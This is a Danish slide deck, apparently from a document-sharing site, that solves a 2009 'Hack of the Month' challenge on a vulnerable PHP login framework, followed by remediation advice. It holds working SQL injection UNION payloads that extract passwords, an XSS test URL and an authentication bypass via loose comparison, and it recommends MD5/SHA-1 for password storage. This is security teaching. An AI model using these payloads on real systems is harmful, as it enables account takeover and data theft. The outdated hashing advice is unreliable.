Hack of the Month opgave 2

Relaterede dokumenter
Design Diaries.

Dynamisk PHP design OPDATERET

HTML, PHP, SQL, webserver, hvad er hvad??

PHP Snippets. De små korte. Skrevet af Daniel Pedersen

Begrynder til at lave log ind system

Log ind med PHP. Denne guide er oprindeligt udgivet på Eksperten.dk. Skrevet den 09. May 2011 af dab93 I kategorien Programmering / Andre

Loginsystem (med MySQL)

The Design Diaries Project 3 2. Semester. Blog om designprincipper

Data load og udtræk. 2. iteration: implmentation (test af backend) PHP mysql. Loade og parse XML (SimpleXML, Xpath) Filhåndtering i PHP JSON

Bemærk! Et PHP script har kun brug for at forbinde én gang til databaseserveren. Det kan så sagtens udføre flere kommandoer vha. denne forbindelse.

The Design Diaries PHP projekt

PHP 3 UGERS FORLØB PHP, MYSQL & SQL

Loginsystem med PHP4, klasser, sessions og MySQL database

Reeksamen, DSDS, forår 2008

PHP Crash course. Databaser

Ratingsystem i PHP og MySQL

- Hvad er PHP? - Hurtigt historisk overblik - Installation - Indstillinger - Hello world - Tekststrenge - PHP og HTML - En doven programmør er en god

PROJEKT 3. The Design Diaries. LINK TIL BLOG: Af Mikkel Borg Svendsen & Sebastian Frank MUL B

Matematik læringsprojekt Journal

Interaktionsudvikling

PHP guide af Daniel Pedersen

Eksamen, DSDS, efterår 2008

Code injection i browsere

if (mysqli_num_rows($res) > 0) { while ($result = $res->fetch_array(mysqli_assoc)) { "<div class=\"article\">".

Eksamen, DSDS, efterår 2007

Sikre apps på ios og Android. Mads Jensen & Søren

Databaseadgang fra Java

Password hashing og salt

Dokumentering af umbraco artikeleksport:

Sikker kode? Gennemgang af mest almindelige hacker angreb

Session-highjack...et halvt skridt mod en modgift

I denne arktikle går jeg gennem Slet, Ret og Opret data i en MySQL database. der er også en lille del i den hvor den postere datanen ud i en løkke

Indholdsfortegnelse Databaser og PHP... 3 Opgave... 4 Opgave... 5 Opgave... 6 Sidste opgave er en lille gæstebog... 7 Kilder og nyttige links:...

Website sikkerhed SQL Injections og mere...

Eksamen, DSDS, forår 2009

DM507 Algoritmer og datastrukturer

Tagwall med Php & MySQL

Parameterisering af databasekald med ASP og ADO

Anvendelse af Model- View koncept i SAS Stored Processer

I mit script tager jeg højde for det problem ved, at gemme et unikt tal mellem 0-9 på 6 cifre og derved vil de så blive vist som 2 online.

Sporbarhed og Rapportering i Quality Center. Kim Stenbo Nielsen NNIT Application Management Services

Database tips. Den forudsætter lidt kendskab til SQL men er for mindre erfarne. Denne guide er oprindeligt udgivet på Eksperten.dk

Hvem er jeg? Blackhat siden er mest tiltrækkende

Indholdsfortegnelse If-sætningen... 3 Opgaver... 4 OR, AND sammen med if-sætningen... 5 Rand() funktion... 5 Opgave... 5 Include() funktionen...

Database programmerings tips

En Kort Introduktion til Oracle

VÆR EFFEKTIV SOM SAS PROGRAMMØR MED SAS ENTERPRISE GUIDE 7.12 GEORG MORSING

MySQL C API. Denne artikel beskriver hvordan man bruger MySQL C API. Der er beskrivelse af build med forskellige compilere.

A11: Last Year s Exam

Introduktion til SQL queries

Dette er en grundlæggende artikel til hvordan du laver et lille community, med forskelige

Skrevet den 18. Feb 2010 af arne_v I kategorien Programmering / Visual Basic.NET

DM507 Algoritmer og datastrukturer

De vigtigste SQL-sætninger. SQL kap Oprette database. DDL og DML

Aarhus Universitet, Science and Technology, Computer Science. Exam. Wednesday 27 June 2018, 9:00-11:00

Eksamen, DSDS, forår 2008

DM507 Algoritmer og datastrukturer

Parameters. Denne artikel beskriver hvorfor parameters er gode. Den forudsætter lidt kendskab til C# og ADO.NET.

Den forudsætter kendskab til C++ og lidt kendskab til SQL og MySQL C API.

DESIGN. Blog: Portfolioer: CPH-mails:

Ordbøgerne.dk. Navne: Andreas Foldager og Rasmus Bjerring Pedersen Fag: IT B Lærer: Karl Bjarnason Afleveringsdato:

Sidste forelæsning. Jacob Aae Mikkelsen. 28. april 2013 IMADA. Jacob Aae Mikkelsen (IMADA) Sidste forelæsning 28.

Opsætning af MobilePBX med Kalenderdatabase

SKYHOST WEB API VERSION 8 (OFFENTLIGT)

Prepared Statements. Denne artikel beskriver hvorfor prepared statements er gode. Den forudsætter lidt kendskab til Java og JDBC.

Write-N-Cite IV til Word 2010

Projekt 3: Interaktionsudvikling 11/04.14

Introduktion til Oracle, Datalogi, RUC Af: Jens Lauterbach 2002

Write-N-Cite IV til Word 2010

Workshop Persistence

1 Domæne Design valg User Klassediagran 5

Eksamens rapport Informationsteknologi B

Indholdsfortegnelse Forord...8 Makroer samt aktivere Udvikler-fanen...10 Makrosikkerhed (Sikkerhedsindstillinger)...13

Procesbeskrivelse - Webprogrammering

Denne rapport er skrevet af:

Som sagt kræves der helst lidt viden om OOP hvis man virkelig vil lærer noget, og ikke bare lave copypaste

Programmering for begyndere Lektion 2. Opsamling mm

Introduktion til programmering

Listen over reserverede ord er meget lang, men de væsentligste vil jeg beskrive her i denne artikel:

Rigtig SQL Programmering

MsSQL: Basal performance tuning, part 1

Deltag i en quiz: Test din viden i SAS -programmering

Regulære udtryk, 4. del, Kogebogsudtryk

Skriftlig opgave. Designtanker i database-nære systemer

Advanced Word Template Brugermanual

Opsætning af Oracle Designer 10g repositorie

ISA Server 2006 Del 5. Jesper Hanno Hansen

Call Recorder Apresa Brugermanual

Data lagring. 2. iteration (implement backend)

Python 3 kursus lektion 1:

Øvelse 9. Klasser, objekter og sql-tabeller insert code here

Responsivt Design - DMAA0213. Afgangsprojekt DMAA0213

FairSSL Fair priser fair support

Indhold. Vejledning til ShareFile. Sådan uploader du en fil til My Files & Folders. Sådan uploader du en fil til Shared Folders

Password systemer til husbehov

Foto-Applikation Dokumentation. Et Kod-i-Ferien projekt

Program Dokumentation PC Software Skrevet af. Gruppen. Version 1.0

Installation af Bilinfo på Windows

Transkript:

Hack of the Month opgave 2

www.hackofthemonth.dk Holdet bag www.hackofthemonth.dk: Søren Rasmus (ikke mig) Roninz Stiller hver måned en ny opgave: Applikationssikkerhed Webapplikationssikkerhed Slide 2

Opgaven for februar 2009: Hack of the month opgave 2 Et autentificerings-framework bestående af to PHP-filer skulle analyseres og nedenstående spørgsmål skulle besvares: 1. Hvilke features i php er påkrævede for at frameworket virker? 2. Hvilke sårbarheder eksisterer der i frameworket? 3. Hvordan udnyttes disse sårbarheder? 4. Hvordan kan data fra systemet udnyttes til videre kompromittering? Slide 3

Size estimation Antal linjer kode: 84 (SLOC/KLOC) $ wc l auth.php db.php 31 auth.php 53 db.php 84 total Slide 4

auth.php Slide 5

db.php Slide 6

Løsning opgave 1: Hvilke features i php er påkrævede for at frameworket virker? Nedenstående options skal enables i php.conf, alt efter om der er tale om version 4 eller 5 af PHP. PHP 5.x: LoadModule php5_module <path> Eks. LoadModule php5_module modules/libphp5.so AddHandler php5-script.php Slide 7

Løsning opgave 2: Hvilke sårbarheder eksisterer der i frameworket? SQL Injection Cross-Site Scripting (XSS) Kodeord er gemt i klartekst Brute forcing af brugerkonti muligt Full path disclosure Session levetid for lang Excessive information Slide 8

Excessive information (1) if(!$link) { } die('could not connect: '. mysql_error()); Excessive defineres som information, som brugeren ikke har behov for at have kendskab til. Dette betyder information, der ikke er nødvendig for normal brug af systemet Slide 9

Excessive information (2) Slide 10

Session levetid for lang setcookie("auth",base64_encode(serialize($auth)),time()+86400*7); En session etableret igennem autentificerings-frameworket er aktiv i ca. 7 dage. Slide 11

Full path disclosure (1) $do = $_GET["do"]; Der er intet check på om $_GET["do"] findes. Full path disclosure sårbarheden vil kun være til stede, hvis display_errors erslåettili php.ini, og error_reporting i php.ini er sat til at reportere notits og advarsler. Slide 12

Full path disclosure (2) Slide 13

Brute forcing af brugerkonti muligt Det er muligt at gætte brugernavn og kodeord gennem brute forcing. Manuel brute forcing kan benyttes til at gætte simple kodeord. Ved komplekse kodeord kan brute forcing tools benyttes til at forsøge flere kombinationer i sekundet. Slide 14

Kodeord er gemt i klartekst (1) Slide 15

Kodeord er gemt i klartekst (2) Gem aldrig kodeord i klartekst. Gem i stedet en salted hash af kodeordet. Benyt SHA-1, MD5 eller andre mere sikre hashing algoritmer. $salt = <secret_salt> ; $salted_hash = sha1(.$salt.$password); Slide 16

Cross-Site Scripting (XSS) Nedenstående kode er sårbar over for XSS, da der ikke HTML encodes: echo "Welcome ".$userarray['user']."(".$userarray['id'].")" ; Variablen $_SERVER[ PHP_SELF ] er i flere version af PHP sårbar over for XSS. Dette kan testes på følgende måde: http://localhost/hotm2/auth.php/ ><script>alert( XSS )</script> Slide 17

SQL Injection (1) function checkcredentials($username, $password) { $user = mysql_real_escape_string($username); $pass = mysql_real_escape_string($password); $sql = "SELECT * FROM users WHERE user=\"".$user."\" AND pass=\"".$pass."\""; Funktionen checkcredentials() er ikke sårbar over for SQL Injection. Slide 18

SQL Injection (2) function checkcookie($credentials) { $hash = $credentials['hash']; $user = $credentials['user']; $time = $credentials['time']; if($user) { $sql = "SELECT * FROM users WHERE user=\"".$user."\""; Funktionen checkcookie() er sårbar over for SQL Injection. Slide 19

Løsning opgave 3: Hvordan udnyttes disse sårbarheder? SQL Injection Slide 20

SQL Injection $sql = "SELECT * FROM users WHERE user=\"".$user."\""; $res = mysql_query($sql); Hvordan ændrer eller tilføjer vi logik til SQL queryen? Hvilke begrænsninger er der I PHPs MySQL funktioner? Slide 21

SQL Injection (stacked/multiple SQL statements) ";INSERT users (user,pass,email) VALUES ( user1', pass1', rasmus@rasmuspetersen.net') ;# Vil resultere i: SELECT * FROM users WHERE user=""; INSERT users (user,pass,email) VALUES ( user1', pass1', rasmus@rasmuspetersen.net') ;# Ovenstående fungerer ikke, da PHPs MySQL funktioner ikke understøtter stacked/multiple SQL statements. Slide 22

SQL Injection (UNION) " UNION SELECT pass,user,'',email FROM users LIMIT 1# Vil resultere i: SELECT * FROM users WHERE user="" UNION SELECT id,user,pass,email FROM users LIMIT 1# Slide 23

Løsning opgave 4: Hvordan kan data fra systemet udnyttes til videre kompromittering? SQL Injection Slide 24

Hvordan kan data fra systemet udnyttes til videre kompromittering med SQL Injection? $sql = "SELECT * FROM users WHERE user=\"".$user."\""; $res = mysql_query($sql); if($res) { $row = mysql_fetch_array($res); $uniq = "". $mysqlhost. $mysqluser. $mysqlpass. $mysqldb; if($hash == md5("". $uniq. $row['pass'])) { Hvordan omgås ovenstående? Slide 25

Metode 1: Variabler er ikke i local function scope (1) $uniq = "". $mysqlhost. $mysqluser. $mysqlpass. $mysqldb; if($hash == md5("". $uniq. $row['pass'])) { $mysqlhost, $mysqluser, $mysqlpass og $mysqldb, som udgører salt, er ikke I local function scope, dvs. $uniq er tom. Kan rettes på følgende måde: global $mysqlhost, $mysqluser, $mysqlpass, $mysqldb Slide 26

Metode 1: Variabler er ikke i local function scope (2) " UNION SELECT id,user,'',email FROM users LIMIT 1# Vil resultere i: SELECT * FROM users WHERE user="" UNION SELECT id,user,'',email FROM users LIMIT 1# Dataudtræk vil returnere en tom string I column pass. Hvis $pass indeholder MD5( ), vil nedenstående blive evalueret til sandt: if($hash == md5("". $uniq. $row['pass'])) { Slide 27

Metode 2: Intet check på om variablerne er af samme type if($hash == md5("". $uniq. $row['pass'])) { $userarray = array(); $userarray['id'] = $row['id']; $userarray['user'] = $user; return $userarray; Hvis $hash er (bool) true, vil ovenstående altid bliver evalueret som sand, da md5() altid returnerer data. Kan rettes på følgende måde: if($hash === md5("". $uniq. $row['pass'])) { Slide 28

UNION syntax if($hash == md5("". $uniq. $row['pass'])) { } $userarray = array(); $userarray['id'] = $row['id']; $userarray['user'] = $user; return $userarray; Hvilke udfordringer giver det, at kun en SIGNED INT (4 bytes) returneres? Slide 29

SQL Injection (UNION MySQL) " UNION SELECT pass,user,'',email FROM users LIMIT 1# Vil resultere i: SELECT * FROM users WHERE user="" UNION SELECT pass,user,'',email FROM users LIMIT 1# Ovenstående overholder ikke SQL standarden, da columns ikke er af samme datatype. Ovenstående fungerer på MySQL. Slide 30

SQL Injection (UNION ANSI SQL standard) " UNION SELECT ORD(MID(pass,1,1)),user,'',email FROM users LIMIT 1# Vil resultere i: SELECT * FROM users WHERE user="" UNION SELECT ORD(MID(pass,1,1)),user,'',email FROM users LIMIT 1# Ovenstående overholder SQL standarden og burde fungere på langt de fleste databaseservere. Dette gælder også MySQL. Slide 31

SQL Injection (screenshot) ASCII repræsentationen af første karakter i den første brugers brugernavn. I dette tilfælde u. Slide 32

Hvordan kan alle disse sårbarheder undgås Input bør saniteres Benyt Prepared Statements Output bør HTML encodes Kodeord bør gemmes som salted hashes Account lockout baseret på en kombination af brugernavn og IP display_errors bør være slået fra i php.ini Session levetid bør genovervejes Der bør ikke vises information til brugeren, som brugeren ikke har behov for at have kendskab til Slide 33

Yderligere referencer mysql_real_escape_string() versus Prepared Statements: http://ilia.ws/archives/103-mysql_real_escape_string-versus-prepared-statements.html OWASPs holdning til blokering af brute force angreb: http://www.owasp.org/index.php/blocking_brute_force_attacks MySQL UNION Syntax: http://dev.mysql.com/doc/refman/5.0/en/union.html Variable scope: http://dk.php.net/variables.scope Rasmus Petersen rpe@pwc.dk Tlf.: +45 5158 3590 Slide 34